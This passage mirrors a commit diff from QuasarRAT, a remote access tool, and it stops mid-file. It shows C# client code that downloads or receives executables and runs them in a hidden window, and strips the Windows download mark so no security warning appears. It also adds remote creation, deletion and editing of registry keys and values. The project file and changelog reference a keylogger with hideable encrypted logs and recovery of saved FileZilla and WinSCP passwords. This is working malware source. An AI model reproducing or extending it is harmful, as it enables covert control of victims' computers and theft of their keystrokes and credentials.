mirror of https://github.com/quasar/Quasar.git
commit
c7875b3db8
14
CHANGELOG.md
14
CHANGELOG.md
|
@ -1,5 +1,19 @@
|
|||
#QuasarRAT Changelog
|
||||
|
||||
##Quasar v1.2.0.0 [12.10.2015]
|
||||
* Added Client restart on unhandled exceptions
|
||||
* Added additional settings to Keylogger (set/hide log-directory)
|
||||
* Added encrypted Keylogger logs
|
||||
* Improved Client Builder
|
||||
* Improved System Information
|
||||
* Improved File Manager behaviour when loading directories with many files
|
||||
* Improved Remote Shell (scrolls now correctly to the bottom when new text received)
|
||||
* Improved compatibility with many connected clients (1k+)
|
||||
* Improved AES encryption/decryption speed (if available, makes use of hardware accelerated AES)
|
||||
* Fixed Client not setting file attribute correctly on startup
|
||||
* Fixed Remote Desktop lagging with mouse input and maximized window
|
||||
* Some minor improvements
|
||||
|
||||
##Quasar v1.1.0.0 [30.08.2015]
|
||||
* **Changed Target Framework to .NET Framework 4.0 Client Profile**
|
||||
* Added deletion of ZoneIdentifier file when installing
|
||||
|
|
|
@ -14,7 +14,7 @@ namespace xClient.Tests.Core.Encryption
|
|||
var input = FileHelper.GetRandomFilename(100);
|
||||
var password = FileHelper.GetRandomFilename(50);
|
||||
|
||||
AES.PreHashKey(password);
|
||||
AES.SetDefaultKey(password);
|
||||
|
||||
var encrypted = AES.Encrypt(input);
|
||||
|
||||
|
@ -33,7 +33,7 @@ namespace xClient.Tests.Core.Encryption
|
|||
var inputByte = Encoding.UTF8.GetBytes(input);
|
||||
var password = FileHelper.GetRandomFilename(50);
|
||||
|
||||
AES.PreHashKey(password);
|
||||
AES.SetDefaultKey(password);
|
||||
|
||||
var encryptedByte = AES.Encrypt(inputByte);
|
||||
|
||||
|
|
|
@ -34,6 +34,7 @@
|
|||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
<DebugSymbols>false</DebugSymbols>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<StartupObject>xClient.Program</StartupObject>
|
||||
|
@ -52,6 +53,7 @@
|
|||
<Reference Include="System.Xml" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Core\Commands\RegistryHandler.cs" />
|
||||
<Compile Include="Core\Data\ClientData.cs" />
|
||||
<Compile Include="Core\Data\GeoInformation.cs" />
|
||||
<Compile Include="Core\Helper\MutexHelper.cs" />
|
||||
|
@ -91,13 +93,35 @@
|
|||
<Compile Include="Core\Cryptography\AES.cs" />
|
||||
<Compile Include="Core\Cryptography\SHA256.cs" />
|
||||
<Compile Include="Core\Extensions\RegistryKeyExtensions.cs" />
|
||||
<Compile Include="Core\Networking\QuasarClient.cs" />
|
||||
<Compile Include="Core\Packets\ClientPackets\GetChangeRegistryValueResponse.cs" />
|
||||
<Compile Include="Core\Packets\ClientPackets\GetCreateRegistryKeyResponse.cs" />
|
||||
<Compile Include="Core\Packets\ClientPackets\GetCreateRegistryValueResponse.cs" />
|
||||
<Compile Include="Core\Packets\ClientPackets\GetDeleteRegistryKeyResponse.cs" />
|
||||
<Compile Include="Core\Packets\ClientPackets\GetDeleteRegistryValueResponse.cs" />
|
||||
<Compile Include="Core\Packets\ClientPackets\GetPasswordsResponse.cs" />
|
||||
<Compile Include="Core\Packets\ClientPackets\GetRegistryKeysResponse.cs" />
|
||||
<Compile Include="Core\Packets\ClientPackets\GetRenameRegistryKeyResponse.cs" />
|
||||
<Compile Include="Core\Packets\ClientPackets\GetRenameRegistryValueResponse.cs" />
|
||||
<Compile Include="Core\Packets\ClientPackets\SetStatusFileManager.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\DoChangeRegistryValue.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\DoCreateRegistryKey.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\DoCreateRegistryValue.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\DoDeleteRegistryKey.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\DoDeleteRegistryValue.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\DoKeyboardEvent.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\DoLoadRegistryKey.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\DoRenameRegistryKey.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\DoRenameRegistryValue.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\GetPasswords.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\SetAuthenticationSuccess.cs" />
|
||||
<Compile Include="Core\Recovery\FtpClients\FileZilla.cs" />
|
||||
<Compile Include="Core\Recovery\FtpClients\WinSCP.cs" />
|
||||
<Compile Include="Core\Registry\RegistryEditor.cs" />
|
||||
<Compile Include="Core\Registry\RegistrySeeker.cs" />
|
||||
<Compile Include="Core\Registry\RegistrySeekerParams.cs" />
|
||||
<Compile Include="Core\Registry\RegSeekerMatch.cs" />
|
||||
<Compile Include="Core\Registry\RegValueData.cs" />
|
||||
<Compile Include="Core\Utilities\FileSplit.cs" />
|
||||
<Compile Include="Core\Data\Host.cs" />
|
||||
<Compile Include="Core\Utilities\HostsManager.cs" />
|
||||
|
@ -210,6 +234,7 @@
|
|||
<Compile Include="Core\Utilities\Keylogger.cs" />
|
||||
<Compile Include="Enums\MouseAction.cs" />
|
||||
<Compile Include="Enums\PathType.cs" />
|
||||
<Compile Include="Enums\RegistrySearchAction.cs" />
|
||||
<Compile Include="Enums\ShutdownAction.cs" />
|
||||
<Compile Include="Enums\UserStatus.cs" />
|
||||
<Compile Include="Program.cs" />
|
||||
|
|
|
@ -10,7 +10,7 @@ namespace xClient.Config
|
|||
public static class Settings
|
||||
{
|
||||
#if DEBUG
|
||||
public static string VERSION = "1.0.0.0d";
|
||||
public static string VERSION = System.Windows.Forms.Application.ProductVersion;
|
||||
public static string HOSTS = "localhost:4782;";
|
||||
public static int RECONNECTDELAY = 500;
|
||||
public static string PASSWORD = "1234";
|
||||
|
@ -25,13 +25,16 @@ namespace xClient.Config
|
|||
public static bool HIDEFILE = false;
|
||||
public static bool ENABLELOGGER = false;
|
||||
public static string TAG = "DEBUG";
|
||||
public static string LOGDIRECTORYNAME = "Logs";
|
||||
public static bool HIDELOGDIRECTORY = false;
|
||||
|
||||
public static void Initialize()
|
||||
public static bool Initialize()
|
||||
{
|
||||
FixDirectory();
|
||||
return true;
|
||||
}
|
||||
#else
|
||||
public static string VERSION = "1.0.0.0r";
|
||||
public static string VERSION = "";
|
||||
public static string HOSTS = "localhost:4782;";
|
||||
public static int RECONNECTDELAY = 5000;
|
||||
public static string PASSWORD = "1234";
|
||||
|
@ -47,10 +50,13 @@ namespace xClient.Config
|
|||
public static bool ENABLELOGGER = true;
|
||||
public static string ENCRYPTIONKEY = "ENCKEY";
|
||||
public static string TAG = "RELEASE";
|
||||
public static string LOGDIRECTORYNAME = "Logs";
|
||||
public static bool HIDELOGDIRECTORY = false;
|
||||
|
||||
public static void Initialize()
|
||||
public static bool Initialize()
|
||||
{
|
||||
AES.PreHashKey(ENCRYPTIONKEY);
|
||||
if (string.IsNullOrEmpty(VERSION)) return false;
|
||||
AES.SetDefaultKey(ENCRYPTIONKEY);
|
||||
TAG = AES.Decrypt(TAG);
|
||||
VERSION = AES.Decrypt(VERSION);
|
||||
HOSTS = AES.Decrypt(HOSTS);
|
||||
|
@ -59,7 +65,9 @@ namespace xClient.Config
|
|||
INSTALLNAME = AES.Decrypt(INSTALLNAME);
|
||||
MUTEX = AES.Decrypt(MUTEX);
|
||||
STARTUPKEY = AES.Decrypt(STARTUPKEY);
|
||||
LOGDIRECTORYNAME = AES.Decrypt(LOGDIRECTORYNAME);
|
||||
FixDirectory();
|
||||
return true;
|
||||
}
|
||||
#endif
|
||||
|
||||
|
|
|
@ -1,5 +1,6 @@
|
|||
using System.Collections.Generic;
|
||||
using System.Threading;
|
||||
using xClient.Core.Registry;
|
||||
using xClient.Core.Utilities;
|
||||
|
||||
namespace xClient.Core.Commands
|
||||
|
@ -9,8 +10,10 @@ namespace xClient.Core.Commands
|
|||
{
|
||||
public static UnsafeStreamCodec StreamCodec;
|
||||
private static Shell _shell;
|
||||
private static Dictionary<int, string> _renamedFiles = new Dictionary<int, string>();
|
||||
private static Dictionary<int, string> _canceledDownloads = new Dictionary<int, string>();
|
||||
private const string DELIMITER = "$E$";
|
||||
private static readonly Semaphore _limitThreads = new Semaphore(2, 2); // maximum simultaneous file downloads
|
||||
public static RegistrySeeker seeker;
|
||||
}
|
||||
}
|
|
@ -1,5 +1,4 @@
|
|||
using System;
|
||||
using System.IO;
|
||||
using System.Net;
|
||||
using System.Threading;
|
||||
using xClient.Config;
|
||||
|
@ -34,31 +33,33 @@ namespace xClient.Core.Commands
|
|||
// i dont like this updating... if anyone has a better idea feel free to edit it
|
||||
if (string.IsNullOrEmpty(command.DownloadURL))
|
||||
{
|
||||
string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), command.FileName);
|
||||
if (!_renamedFiles.ContainsKey(command.ID))
|
||||
_renamedFiles.Add(command.ID, FileHelper.GetTempFilePath(".exe"));
|
||||
|
||||
string filePath = _renamedFiles[command.ID];
|
||||
|
||||
try
|
||||
{
|
||||
if (command.CurrentBlock == 0 && command.Block[0] != 'M' && command.Block[1] != 'Z')
|
||||
if (command.CurrentBlock == 0 && !FileHelper.IsValidExecuteableFile(command.Block))
|
||||
throw new Exception("No executable file");
|
||||
|
||||
FileSplit destFile = new FileSplit(filePath);
|
||||
|
||||
if (!destFile.AppendBlock(command.Block, command.CurrentBlock))
|
||||
{
|
||||
new Packets.ClientPackets.SetStatus(string.Format("Writing failed: {0}", destFile.LastError)).Execute(
|
||||
client);
|
||||
return;
|
||||
}
|
||||
throw new Exception(destFile.LastError);
|
||||
|
||||
if ((command.CurrentBlock + 1) == command.MaxBlocks) // Upload finished
|
||||
{
|
||||
if (_renamedFiles.ContainsKey(command.ID))
|
||||
_renamedFiles.Remove(command.ID);
|
||||
new Packets.ClientPackets.SetStatus("Updating...").Execute(client);
|
||||
|
||||
ClientUpdater.Update(client, filePath);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
if (_renamedFiles.ContainsKey(command.ID))
|
||||
_renamedFiles.Remove(command.ID);
|
||||
NativeMethods.DeleteFile(filePath);
|
||||
new Packets.ClientPackets.SetStatus(string.Format("Update failed: {0}", ex.Message)).Execute(client);
|
||||
}
|
||||
|
@ -70,8 +71,7 @@ namespace xClient.Core.Commands
|
|||
{
|
||||
new Packets.ClientPackets.SetStatus("Downloading file...").Execute(client);
|
||||
|
||||
string tempFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
|
||||
FileHelper.GetRandomFilename(12, ".exe"));
|
||||
string tempFile = FileHelper.GetTempFilePath(".exe");
|
||||
|
||||
try
|
||||
{
|
||||
|
|
|
@ -101,12 +101,7 @@ namespace xClient.Core.Commands
|
|||
{
|
||||
FileSplit srcFile = new FileSplit(command.RemotePath);
|
||||
if (srcFile.MaxBlocks < 0)
|
||||
{
|
||||
new Packets.ClientPackets.DoDownloadFileResponse(command.ID, "", new byte[0], -1, -1,
|
||||
srcFile.LastError).Execute(client);
|
||||
_limitThreads.Release();
|
||||
return;
|
||||
}
|
||||
throw new Exception(srcFile.LastError);
|
||||
|
||||
for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++)
|
||||
{
|
||||
|
@ -114,23 +109,18 @@ namespace xClient.Core.Commands
|
|||
break;
|
||||
|
||||
byte[] block;
|
||||
if (srcFile.ReadBlock(currentBlock, out block))
|
||||
{
|
||||
new Packets.ClientPackets.DoDownloadFileResponse(command.ID,
|
||||
Path.GetFileName(command.RemotePath), block, srcFile.MaxBlocks, currentBlock,
|
||||
srcFile.LastError).Execute(client);
|
||||
}
|
||||
else
|
||||
{
|
||||
new Packets.ClientPackets.DoDownloadFileResponse(command.ID, "", new byte[0], -1, -1,
|
||||
srcFile.LastError).Execute(client);
|
||||
break;
|
||||
}
|
||||
|
||||
if (!srcFile.ReadBlock(currentBlock, out block))
|
||||
throw new Exception(srcFile.LastError);
|
||||
|
||||
new Packets.ClientPackets.DoDownloadFileResponse(command.ID,
|
||||
Path.GetFileName(command.RemotePath), block, srcFile.MaxBlocks, currentBlock,
|
||||
srcFile.LastError).Execute(client);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
new Packets.ClientPackets.DoDownloadFileResponse(command.ID, "", new byte[0], -1, -1, ex.Message)
|
||||
new Packets.ClientPackets.DoDownloadFileResponse(command.ID, Path.GetFileName(command.RemotePath), new byte[0], -1, -1, ex.Message)
|
||||
.Execute(client);
|
||||
}
|
||||
_limitThreads.Release();
|
||||
|
@ -142,7 +132,7 @@ namespace xClient.Core.Commands
|
|||
if (!_canceledDownloads.ContainsKey(command.ID))
|
||||
{
|
||||
_canceledDownloads.Add(command.ID, "canceled");
|
||||
new Packets.ClientPackets.DoDownloadFileResponse(command.ID, "", new byte[0], -1, -1, "Canceled").Execute(client);
|
||||
new Packets.ClientPackets.DoDownloadFileResponse(command.ID, "canceled", new byte[0], -1, -1, "Canceled").Execute(client);
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
@ -20,8 +20,7 @@ namespace xClient.Core.Commands
|
|||
|
||||
new Thread(() =>
|
||||
{
|
||||
string tempFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
|
||||
FileHelper.GetRandomFilename(12, ".exe"));
|
||||
string tempFile = FileHelper.GetTempFilePath(".exe");
|
||||
|
||||
try
|
||||
{
|
||||
|
@ -44,7 +43,7 @@ namespace xClient.Core.Commands
|
|||
FileHelper.DeleteZoneIdentifier(tempFile);
|
||||
|
||||
var bytes = File.ReadAllBytes(tempFile);
|
||||
if (bytes[0] != 'M' && bytes[1] != 'Z')
|
||||
if (!FileHelper.IsValidExecuteableFile(bytes))
|
||||
throw new Exception("no pe file");
|
||||
|
||||
ProcessStartInfo startInfo = new ProcessStartInfo();
|
||||
|
@ -53,7 +52,7 @@ namespace xClient.Core.Commands
|
|||
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
|
||||
startInfo.CreateNoWindow = true;
|
||||
}
|
||||
startInfo.UseShellExecute = command.RunHidden;
|
||||
startInfo.UseShellExecute = false;
|
||||
startInfo.FileName = tempFile;
|
||||
Process.Start(startInfo);
|
||||
}
|
||||
|
@ -70,25 +69,26 @@ namespace xClient.Core.Commands
|
|||
|
||||
public static void HandleDoUploadAndExecute(Packets.ServerPackets.DoUploadAndExecute command, Client client)
|
||||
{
|
||||
string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
|
||||
command.FileName);
|
||||
if (!_renamedFiles.ContainsKey(command.ID))
|
||||
_renamedFiles.Add(command.ID, FileHelper.GetTempFilePath(Path.GetExtension(command.FileName)));
|
||||
|
||||
string filePath = _renamedFiles[command.ID];
|
||||
|
||||
try
|
||||
{
|
||||
if (command.CurrentBlock == 0 && Path.GetExtension(command.FileName) == ".exe" && !FileHelper.IsValidExecuteableFile(command.Block))
|
||||
if (command.CurrentBlock == 0 && Path.GetExtension(filePath) == ".exe" && !FileHelper.IsValidExecuteableFile(command.Block))
|
||||
throw new Exception("No executable file");
|
||||
|
||||
FileSplit destFile = new FileSplit(filePath);
|
||||
|
||||
if (!destFile.AppendBlock(command.Block, command.CurrentBlock))
|
||||
{
|
||||
new Packets.ClientPackets.SetStatus(string.Format("Writing failed: {0}", destFile.LastError)).Execute(
|
||||
client);
|
||||
return;
|
||||
}
|
||||
throw new Exception(destFile.LastError);
|
||||
|
||||
if ((command.CurrentBlock + 1) == command.MaxBlocks) // execute
|
||||
{
|
||||
if (_renamedFiles.ContainsKey(command.ID))
|
||||
_renamedFiles.Remove(command.ID);
|
||||
|
||||
FileHelper.DeleteZoneIdentifier(filePath);
|
||||
|
||||
ProcessStartInfo startInfo = new ProcessStartInfo();
|
||||
|
@ -97,7 +97,7 @@ namespace xClient.Core.Commands
|
|||
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
|
||||
startInfo.CreateNoWindow = true;
|
||||
}
|
||||
startInfo.UseShellExecute = command.RunHidden;
|
||||
startInfo.UseShellExecute = false;
|
||||
startInfo.FileName = filePath;
|
||||
Process.Start(startInfo);
|
||||
|
||||
|
@ -106,6 +106,8 @@ namespace xClient.Core.Commands
|
|||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
if (_renamedFiles.ContainsKey(command.ID))
|
||||
_renamedFiles.Remove(command.ID);
|
||||
NativeMethods.DeleteFile(filePath);
|
||||
new Packets.ClientPackets.SetStatus(string.Format("Execution failed: {0}", ex.Message)).Execute(client);
|
||||
}
|
||||
|
|
|
@ -0,0 +1,212 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xClient.Core.Networking;
|
||||
using xClient.Core.Registry;
|
||||
using xClient.Core.Extensions;
|
||||
|
||||
namespace xClient.Core.Commands
|
||||
{
|
||||
/*
|
||||
* Derived and Adapted By Justin Yanke
|
||||
* github: https://github.com/yankejustin
|
||||
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
* This code is created by Justin Yanke and has only been
|
||||
* modified partially.
|
||||
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
* Modified by StingRaptor on January 21, 2016
|
||||
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
* Original Source:
|
||||
* https://github.com/quasar/QuasarRAT/blob/regedit/Client/Core/Commands/RegistryHandler.cs
|
||||
*/
|
||||
|
||||
/* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE THE REGISTRY. */
|
||||
public static partial class CommandHandler
|
||||
{
|
||||
|
||||
public static void HandleGetRegistryKey(xClient.Core.Packets.ServerPackets.DoLoadRegistryKey packet, Client client)
|
||||
{
|
||||
try
|
||||
{
|
||||
|
||||
seeker = new RegistrySeeker();
|
||||
|
||||
xClient.Core.Packets.ClientPackets.GetRegistryKeysResponse responsePacket = new Packets.ClientPackets.GetRegistryKeysResponse();
|
||||
|
||||
seeker.SearchComplete += (object o, SearchCompletedEventArgs e) =>
|
||||
{
|
||||
responsePacket.Matches = e.Matches.ToArray();
|
||||
responsePacket.RootKey = packet.RootKeyName;
|
||||
|
||||
responsePacket.Execute(client);
|
||||
};
|
||||
|
||||
// If the search parameters of the packet is null, the server is requesting to obtain the root keys.
|
||||
if (packet.RootKeyName == null)
|
||||
{
|
||||
seeker.Start(new RegistrySeekerParams(null));
|
||||
}
|
||||
else
|
||||
{
|
||||
seeker.Start(packet.RootKeyName);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{ }
|
||||
}
|
||||
|
||||
#region Registry Key Edit
|
||||
|
||||
public static void HandleCreateRegistryKey(xClient.Core.Packets.ServerPackets.DoCreateRegistryKey packet, Client client)
|
||||
{
|
||||
xClient.Core.Packets.ClientPackets.GetCreateRegistryKeyResponse responsePacket = new Packets.ClientPackets.GetCreateRegistryKeyResponse();
|
||||
string errorMsg = "";
|
||||
string newKeyName = "";
|
||||
try
|
||||
{
|
||||
responsePacket.IsError = !(RegistryEditor.CreateRegistryKey(packet.ParentPath, out newKeyName, out errorMsg));
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
responsePacket.IsError = true;
|
||||
errorMsg = ex.Message;
|
||||
}
|
||||
responsePacket.ErrorMsg = errorMsg;
|
||||
|
||||
responsePacket.Match = new RegSeekerMatch(newKeyName, new List<RegValueData>(), 0);
|
||||
responsePacket.ParentPath = packet.ParentPath;
|
||||
|
||||
responsePacket.Execute(client);
|
||||
}
|
||||
|
||||
public static void HandleDeleteRegistryKey(xClient.Core.Packets.ServerPackets.DoDeleteRegistryKey packet, Client client)
|
||||
{
|
||||
xClient.Core.Packets.ClientPackets.GetDeleteRegistryKeyResponse responsePacket = new Packets.ClientPackets.GetDeleteRegistryKeyResponse();
|
||||
string errorMsg = "";
|
||||
try
|
||||
{
|
||||
responsePacket.IsError = !(RegistryEditor.DeleteRegistryKey(packet.KeyName, packet.ParentPath, out errorMsg));
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
responsePacket.IsError = true;
|
||||
errorMsg = ex.Message;
|
||||
}
|
||||
responsePacket.ErrorMsg = errorMsg;
|
||||
responsePacket.ParentPath = packet.ParentPath;
|
||||
responsePacket.KeyName = packet.KeyName;
|
||||
|
||||
responsePacket.Execute(client);
|
||||
}
|
||||
|
||||
public static void HandleRenameRegistryKey(xClient.Core.Packets.ServerPackets.DoRenameRegistryKey packet, Client client)
|
||||
{
|
||||
xClient.Core.Packets.ClientPackets.GetRenameRegistryKeyResponse responsePacket = new Packets.ClientPackets.GetRenameRegistryKeyResponse();
|
||||
string errorMsg = "";
|
||||
try
|
||||
{
|
||||
responsePacket.IsError = !(RegistryEditor.RenameRegistryKey(packet.OldKeyName, packet.NewKeyName, packet.ParentPath, out errorMsg));
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
responsePacket.IsError = true;
|
||||
errorMsg = ex.Message;
|
||||
}
|
||||
responsePacket.ErrorMsg = errorMsg;
|
||||
responsePacket.ParentPath = packet.ParentPath;
|
||||
responsePacket.OldKeyName = packet.OldKeyName;
|
||||
responsePacket.NewKeyName = packet.NewKeyName;
|
||||
|
||||
responsePacket.Execute(client);
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region RegistryValue Edit
|
||||
|
||||
public static void HandleCreateRegistryValue(xClient.Core.Packets.ServerPackets.DoCreateRegistryValue packet, Client client)
|
||||
{
|
||||
xClient.Core.Packets.ClientPackets.GetCreateRegistryValueResponse responsePacket = new Packets.ClientPackets.GetCreateRegistryValueResponse();
|
||||
string errorMsg = "";
|
||||
string newKeyName = "";
|
||||
try
|
||||
{
|
||||
responsePacket.IsError = !(RegistryEditor.CreateRegistryValue(packet.KeyPath, packet.Kind, out newKeyName, out errorMsg));
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
responsePacket.IsError = true;
|
||||
errorMsg = ex.Message;
|
||||
}
|
||||
responsePacket.ErrorMsg = errorMsg;
|
||||
responsePacket.Value = new RegValueData(newKeyName, packet.Kind, packet.Kind.GetDefault());
|
||||
responsePacket.KeyPath = packet.KeyPath;
|
||||
|
||||
responsePacket.Execute(client);
|
||||
}
|
||||
|
||||
public static void HandleDeleteRegistryValue(xClient.Core.Packets.ServerPackets.DoDeleteRegistryValue packet, Client client)
|
||||
{
|
||||
xClient.Core.Packets.ClientPackets.GetDeleteRegistryValueResponse responsePacket = new Packets.ClientPackets.GetDeleteRegistryValueResponse();
|
||||
string errorMsg = "";
|
||||
try
|
||||
{
|
||||
responsePacket.IsError = !(RegistryEditor.DeleteRegistryValue(packet.KeyPath, packet.ValueName, out errorMsg));
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
responsePacket.IsError = true;
|
||||
errorMsg = ex.Message;
|
||||
}
|
||||
responsePacket.ErrorMsg = errorMsg;
|
||||
responsePacket.ValueName = packet.ValueName;
|
||||
responsePacket.KeyPath = packet.KeyPath;
|
||||
|
||||
responsePacket.Execute(client);
|
||||
}
|
||||
|
||||
public static void HandleRenameRegistryValue(xClient.Core.Packets.ServerPackets.DoRenameRegistryValue packet, Client client)
|
||||
{
|
||||
xClient.Core.Packets.ClientPackets.GetRenameRegistryValueResponse responsePacket = new Packets.ClientPackets.GetRenameRegistryValueResponse();
|
||||
string errorMsg = "";
|
||||
try
|
||||
{
|
||||
responsePacket.IsError = !(RegistryEditor.RenameRegistryValue(packet.OldValueName, packet.NewValueName, packet.KeyPath, out errorMsg));
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
responsePacket.IsError = true;
|
||||
errorMsg = ex.Message;
|
||||
}
|
||||
responsePacket.ErrorMsg = errorMsg;
|
||||
responsePacket.KeyPath = packet.KeyPath;
|
||||
responsePacket.OldValueName = packet.OldValueName;
|
||||
responsePacket.NewValueName = packet.NewValueName;
|
||||
|
||||
responsePacket.Execute(client);
|
||||
}
|
||||
|
||||
public static void HandleChangeRegistryValue(xClient.Core.Packets.ServerPackets.DoChangeRegistryValue packet, Client client)
|
||||
{
|
||||
xClient.Core.Packets.ClientPackets.GetChangeRegistryValueResponse responsePacket = new Packets.ClientPackets.GetChangeRegistryValueResponse();
|
||||
string errorMsg = "";
|
||||
try
|
||||
{
|
||||
responsePacket.IsError = !(RegistryEditor.ChangeRegistryValue(packet.Value, packet.KeyPath, out errorMsg));
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
responsePacket.IsError = true;
|
||||
errorMsg = ex.Message;
|
||||
}
|
||||
responsePacket.ErrorMsg = errorMsg;
|
||||
responsePacket.KeyPath = packet.KeyPath;
|
||||
responsePacket.Value = packet.Value;
|
||||
|
||||
responsePacket.Execute(client);
|
||||
}
|
||||
|
||||
#endregion
|
||||
}
|
||||
}
|
|
@ -158,15 +158,14 @@ namespace xClient.Core.Commands
|
|||
try
|
||||
{
|
||||
int index = 1;
|
||||
string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Logs\\";
|
||||
|
||||
if (!Directory.Exists(path))
|
||||
if (!Directory.Exists(Keylogger.LogDirectory))
|
||||
{
|
||||
new Packets.ClientPackets.GetKeyloggerLogsResponse("", new byte[0], -1, -1, "", index, 0).Execute(client);
|
||||
return;
|
||||
}
|
||||
|
||||
FileInfo[] iFiles = new DirectoryInfo(path).GetFiles();
|
||||
FileInfo[] iFiles = new DirectoryInfo(Keylogger.LogDirectory).GetFiles();
|
||||
|
||||
if (iFiles.Length == 0)
|
||||
{
|
||||
|
|
|
@ -79,7 +79,6 @@ namespace xClient.Core.Commands
|
|||
{
|
||||
case ShutdownAction.Shutdown:
|
||||
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
|
||||
startInfo.CreateNoWindow = true;
|
||||
startInfo.UseShellExecute = true;
|
||||
startInfo.Arguments = "/s /t 0"; // shutdown
|
||||
startInfo.FileName = "shutdown";
|
||||
|
@ -87,7 +86,6 @@ namespace xClient.Core.Commands
|
|||
break;
|
||||
case ShutdownAction.Restart:
|
||||
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
|
||||
startInfo.CreateNoWindow = true;
|
||||
startInfo.UseShellExecute = true;
|
||||
startInfo.Arguments = "/r /t 0"; // restart
|
||||
startInfo.FileName = "shutdown";
|
||||
|
|
|
@ -5,16 +5,17 @@ using System.Text;
|
|||
|
||||
namespace xClient.Core.Cryptography
|
||||
{
|
||||
// ReSharper disable once InconsistentNaming
|
||||
public static class AES
|
||||
{
|
||||
private const int IVLENGTH = 16;
|
||||
private static byte[] _key;
|
||||
private static byte[] _defaultKey;
|
||||
|
||||
public static void PreHashKey(string key)
|
||||
public static void SetDefaultKey(string key)
|
||||
{
|
||||
using (var md5 = new MD5CryptoServiceProvider())
|
||||
{
|
||||
_key = md5.ComputeHash(Encoding.UTF8.GetBytes(key));
|
||||
_defaultKey = md5.ComputeHash(Encoding.UTF8.GetBytes(key));
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -30,7 +31,7 @@ namespace xClient.Core.Cryptography
|
|||
|
||||
public static byte[] Encrypt(byte[] input)
|
||||
{
|
||||
if (_key == null || _key.Length == 0) throw new Exception("Key can not be empty.");
|
||||
if (_defaultKey == null || _defaultKey.Length == 0) throw new Exception("Key can not be empty.");
|
||||
if (input == null || input.Length == 0) throw new ArgumentException("Input can not be empty.");
|
||||
|
||||
byte[] data = input, encdata = new byte[0];
|
||||
|
@ -39,13 +40,13 @@ namespace xClient.Core.Cryptography
|
|||
{
|
||||
using (var ms = new MemoryStream())
|
||||
{
|
||||
using (var rd = new RijndaelManaged { Key = _key })
|
||||
using (var aesProvider = new AesCryptoServiceProvider() { Key = _defaultKey })
|
||||
{
|
||||
rd.GenerateIV();
|
||||
aesProvider.GenerateIV();
|
||||
|
||||
using (var cs = new CryptoStream(ms, rd.CreateEncryptor(), CryptoStreamMode.Write))
|
||||
using (var cs = new CryptoStream(ms, aesProvider.CreateEncryptor(), CryptoStreamMode.Write))
|
||||
{
|
||||
ms.Write(rd.IV, 0, rd.IV.Length); // write first 16 bytes IV, followed by encrypted message
|
||||
ms.Write(aesProvider.IV, 0, aesProvider.IV.Length); // write first 16 bytes IV, followed by encrypted message
|
||||
cs.Write(data, 0, data.Length);
|
||||
}
|
||||
}
|
||||
|
@ -62,7 +63,6 @@ namespace xClient.Core.Cryptography
|
|||
public static byte[] Encrypt(byte[] input, byte[] key)
|
||||
{
|
||||
if (key == null || key.Length == 0) throw new Exception("Key can not be empty.");
|
||||
if (input == null || input.Length == 0) throw new ArgumentException("Input can not be empty.");
|
||||
|
||||
using (var md5 = new MD5CryptoServiceProvider())
|
||||
{
|
||||
|
@ -75,13 +75,13 @@ namespace xClient.Core.Cryptography
|
|||
{
|
||||
using (var ms = new MemoryStream())
|
||||
{
|
||||
using (var rd = new RijndaelManaged { Key = key })
|
||||
using (var aesProvider = new AesCryptoServiceProvider() { Key = key })
|
||||
{
|
||||
rd.GenerateIV();
|
||||
aesProvider.GenerateIV();
|
||||
|
||||
using (var cs = new CryptoStream(ms, rd.CreateEncryptor(), CryptoStreamMode.Write))
|
||||
using (var cs = new CryptoStream(ms, aesProvider.CreateEncryptor(), CryptoStreamMode.Write))
|
||||
{
|
||||
